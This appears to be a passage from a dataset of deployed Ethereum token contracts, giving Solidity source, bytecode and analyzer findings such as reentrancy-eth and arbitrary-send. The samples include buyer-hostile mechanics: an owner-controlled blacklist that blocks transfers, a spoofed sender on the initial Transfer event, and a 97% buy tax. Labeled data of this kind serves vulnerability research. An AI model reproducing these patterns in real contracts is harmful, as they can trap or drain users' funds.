ae27693b4000081565b60035481565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561093557336000908152600260209081526040808320600160a060020a038816845290915281205561096a565b610945818463ffffffff6106af16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600554600160a060020a03163314610a0257600080fd5b600260055474010000000000000000000000000000000000000000900460ff166002811115610a2d57fe5b1415610a3857600080fd5b6005805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b600554600160a060020a031681565b600554600160a060020a03163314610a9557600080fd5b600260055474010000000000000000000000000000000000000000900460ff166002811115610ac057fe5b1415610acb57600080fd5b610ad3610d4a565b565b60408051808201909152600381527f44414c0000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a0383161515610b2357600080fd5b33600090815260208190526040902054821115610b3f57600080fd5b33600090815260208190526040902054610b5f908363ffffffff6106af16565b3360009081526020819052604080822092909255600160a060020a03851681522054610b91908363ffffffff6106a216565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020610e118339815191529281900390910190a350600192915050565b60045481565b66121f072d89598081565b600a81565b336000908152600260209081526040808320600160a060020a0386168452909152812054610c25908363ffffffff6106a216565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600554600160a060020a03163314610ccc57600080fd5b600160a060020a0381161515610ce157600080fd5b600554604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6005805474ff000000000000000000000000000000000000000019167402000000000000000000000000000000000000000017905560045460001015610dd357600454600554600160a060020a0316600090815260208190526040902054610db79163ffffffff6106a216565b600554600160a060020a03166000908152602081905260409020555b600554604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610e0d573d6000803e3d6000fd5b505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582097456de0ec4facbee36454db913e7c261e7c5e0d8eb97f071aa26e2278aadf6a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,833
0x44C8Fc118fA826541e6f41Cd18b45f4b1e310B19
/** *Submitted for verification at Etherscan.io on 2021-09-26 */ /* Telegram: https://t.me/LyruleETH BIG things happening, because Lyrule is our favourite character. And you know why. */ pragma solidity ^0.8.3; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LyruleToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "LyruleToken"; string private constant _symbol = "LYRULE"; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2, address payable addr3) { _FeeAddress = addr1; _marketingWalletAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[addr3] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0x8AA0D694881E3199f68Df5bd926AD133BEEEB7E2), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 4; _teamFee = 6; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 2; _teamFee = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTx(uint256 maxTx) external onlyOwner() { require(maxTx > 0, "Amount must be greater than 0"); _maxTxAmount = maxTx; emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f4578063bc33718214610314578063c3c8cd8014610334578063c9567bf914610349578063dd62ed3e1461035e57600080fd5b8063715018a6146102685780638da5cb5b1461027d57806395d89b41146102a5578063a9059cbb146102d457600080fd5b8063273123b7116100dc578063273123b7146101d5578063313ce567146101f75780635932ead1146102135780636fc3eaec1461023357806370a082311461024857600080fd5b806306fdde0314610119578063095ea7b31461015f57806318160ddd1461018f57806323b872dd146101b557600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600b81526a263cb93ab632aa37b5b2b760a91b60208201525b6040516101569190611953565b60405180910390f35b34801561016b57600080fd5b5061017f61017a3660046117da565b6103a4565b6040519015158152602001610156565b34801561019b57600080fd5b50683635c9adc5dea000005b604051908152602001610156565b3480156101c157600080fd5b5061017f6101d0366004611799565b6103bb565b3480156101e157600080fd5b506101f56101f0366004611726565b610424565b005b34801561020357600080fd5b5060405160098152602001610156565b34801561021f57600080fd5b506101f561022e3660046118d2565b610478565b34801561023f57600080fd5b506101f56104c0565b34801561025457600080fd5b506101a7610263366004611726565b6104ed565b34801561027457600080fd5b506101f561050f565b34801561028957600080fd5b506000546040516001600160a01b039091168152602001610156565b3480156102b157600080fd5b506040805180820190915260068152654c5952554c4560d01b6020820152610149565b3480156102e057600080fd5b5061017f6102ef3660046117da565b610583565b34801561030057600080fd5b506101f561030f366004611806565b610590565b34801561032057600080fd5b506101f561032f36600461190c565b610626565b34801561034057600080fd5b506101f56106db565b34801561035557600080fd5b506101f5610711565b34801561036a57600080fd5b506101a7610379366004611760565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103b1338484610ad4565b5060015b92915050565b60006103c8848484610bf8565b61041a843361041585604051806060016040528060288152602001611b3f602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f92565b610ad4565b5060019392505050565b6000546001600160a01b031633146104575760405162461bcd60e51b815260040161044e906119a8565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104a25760405162461bcd60e51b815260040161044e906119a8565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b0316146104e057600080fd5b476104ea81610fcc565b50565b6001600160a01b0381166000908152600260205260408120546103b590611051565b6000546001600160a01b031633146105395760405162461bcd60e51b815260040161044e906119a8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103b1338484610bf8565b6000546001600160a01b031633146105ba5760405162461bcd60e51b815260040161044e906119a8565b60005b8151811015610622576001600660008484815181106105de576105de611aef565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061061a81611abe565b9150506105bd565b5050565b6000546001600160a01b031633146106505760405162461bcd60e51b815260040161044e906119a8565b600081116106a05760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015260640161044e565b60128190556040518181527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b600e546001600160a01b0316336001600160a01b0316146106fb57600080fd5b6000610706306104ed565b90506104ea816110d5565b6000546001600160a01b0316331461073b5760405162461bcd60e51b815260040161044e906119a8565b601154600160a01b900460ff16156107955760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161044e565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107d23082683635c9adc5dea00000610ad4565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561080b57600080fd5b505afa15801561081f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108439190611743565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561088b57600080fd5b505afa15801561089f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c39190611743565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561090b57600080fd5b505af115801561091f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109439190611743565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d7194730610973816104ed565b6000806109886000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109eb57600080fd5b505af11580156109ff573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a249190611925565b505060118054678ac7230489e8000060125563ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a9c57600080fd5b505af1158015610ab0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062291906118ef565b6001600160a01b038316610b365760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161044e565b6001600160a01b038216610b975760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161044e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c5c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161044e565b6001600160a01b038216610cbe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161044e565b60008111610d205760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161044e565b6004600a556006600b556000546001600160a01b03848116911614801590610d5657506000546001600160a01b03838116911614155b15610f35576001600160a01b03831660009081526006602052604090205460ff16158015610d9d57506001600160a01b03821660009081526006602052604090205460ff16155b610da657600080fd5b6011546001600160a01b038481169116148015610dd157506010546001600160a01b03838116911614155b8015610df657506001600160a01b03821660009081526005602052604090205460ff16155b8015610e0b5750601154600160b81b900460ff165b15610e6857601254811115610e1f57600080fd5b6001600160a01b0382166000908152600760205260409020544211610e4357600080fd5b610e4e42601e611a4e565b6001600160a01b0383166000908152600760205260409020555b6011546001600160a01b038381169116148015610e9357506010546001600160a01b03848116911614155b8015610eb857506001600160a01b03831660009081526005602052604090205460ff16155b15610ec8576002600a556008600b555b6000610ed3306104ed565b601154909150600160a81b900460ff16158015610efe57506011546001600160a01b03858116911614155b8015610f135750601154600160b01b900460ff165b15610f3357610f21816110d5565b478015610f3157610f3147610fcc565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f7757506001600160a01b03831660009081526005602052604090205460ff165b15610f80575060005b610f8c8484848461125e565b50505050565b60008184841115610fb65760405162461bcd60e51b815260040161044e9190611953565b506000610fc38486611aa7565b95945050505050565b600e546001600160a01b03166108fc610fe683600261128c565b6040518115909202916000818181858888f1935050505015801561100e573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61102983600261128c565b6040518115909202916000818181858888f19350505050158015610622573d6000803e3d6000fd5b60006008548211156110b85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161044e565b60006110c26112ce565b90506110ce838261128c565b9392505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111d5761111d611aef565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561117157600080fd5b505afa158015611185573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a99190611743565b816001815181106111bc576111bc611aef565b6001600160a01b0392831660209182029290920101526010546111e29130911684610ad4565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061121b9085906000908690309042906004016119dd565b600060405180830381600087803b15801561123557600080fd5b505af1158015611249573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b8061126b5761126b6112f1565b61127684848461131f565b80610f8c57610f8c600c54600a55600d54600b55565b60006110ce83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611416565b60008060006112db611444565b90925090506112ea828261128c565b9250505090565b600a541580156113015750600b54155b1561130857565b600a8054600c55600b8054600d5560009182905555565b60008060008060008061133187611486565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061136390876114e3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113929086611525565b6001600160a01b0389166000908152600260205260409020556113b481611584565b6113be84836115ce565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161140391815260200190565b60405180910390a3505050505050505050565b600081836114375760405162461bcd60e51b815260040161044e9190611953565b506000610fc38486611a66565b6008546000908190683635c9adc5dea00000611460828261128c565b82101561147d57505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006114a38a600a54600b546115f2565b92509250925060006114b36112ce565b905060008060006114c68e878787611647565b919e509c509a509598509396509194505050505091939550919395565b60006110ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f92565b6000806115328385611a4e565b9050838110156110ce5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044e565b600061158e6112ce565b9050600061159c8383611697565b306000908152600260205260409020549091506115b99082611525565b30600090815260026020526040902055505050565b6008546115db90836114e3565b6008556009546115eb9082611525565b6009555050565b600080808061160c60646116068989611697565b9061128c565b9050600061161f60646116068a89611697565b90506000611637826116318b866114e3565b906114e3565b9992985090965090945050505050565b60008080806116568886611697565b905060006116648887611697565b905060006116728888611697565b905060006116848261163186866114e3565b939b939a50919850919650505050505050565b6000826116a6575060006103b5565b60006116b28385611a88565b9050826116bf8583611a66565b146110ce5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044e565b803561172181611b1b565b919050565b60006020828403121561173857600080fd5b81356110ce81611b1b565b60006020828403121561175557600080fd5b81516110ce81611b1b565b6000806040838503121561177357600080fd5b823561177e81611b1b565b9150602083013561178e81611b1b565b809150509250929050565b6000806000606084860312156117ae57600080fd5b83356117b981611b1b565b925060208401356117c981611b1b565b929592945050506040919091013590565b600080604083850312156117ed57600080fd5b82356117f881611b1b565b946020939093013593505050565b6000602080838503121561181957600080fd5b823567ffffffffffffffff8082111561183157600080fd5b818501915085601f83011261184557600080fd5b81358181111561185757611857611b05565b8060051b604051601f19603f8301168101818110858211171561187c5761187c611b05565b604052828152858101935084860182860187018a101561189b57600080fd5b600095505b838610156118c5576118b181611716565b8552600195909501949386019386016118a0565b5098975050505050505050565b6000602082840312156118e457600080fd5b81356110ce81611b30565b60006020828403121561190157600080fd5b81516110ce81611b30565b60006020828403121561191e57600080fd5b5035919050565b60008060006060848603121561193a57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561198057858101830151858201604001528201611964565b81811115611992576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a2d5784516001600160a01b031683529383019391830191600101611a08565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a6157611a61611ad9565b500190565b600082611a8357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611aa257611aa2611ad9565b500290565b600082821015611ab957611ab9611ad9565b500390565b6000600019821415611ad257611ad2611ad9565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104ea57600080fd5b80151581146104ea57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bb093841eeca69bd36acd94adb0056e81d3caebdb7a227a569db517e773eb7e964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,834
0x974fff9604cd28cc406f698331e6195a567bb27c
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CATCULT is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "CAT CULT"; string private constant _symbol = "CATS"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 97; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x1c40F48c4FC10D98f976Cef97D06b2597f443934); address payable private _marketingAddress = payable(0x1c40F48c4FC10D98f976Cef97D06b2597f443934); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 20000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), 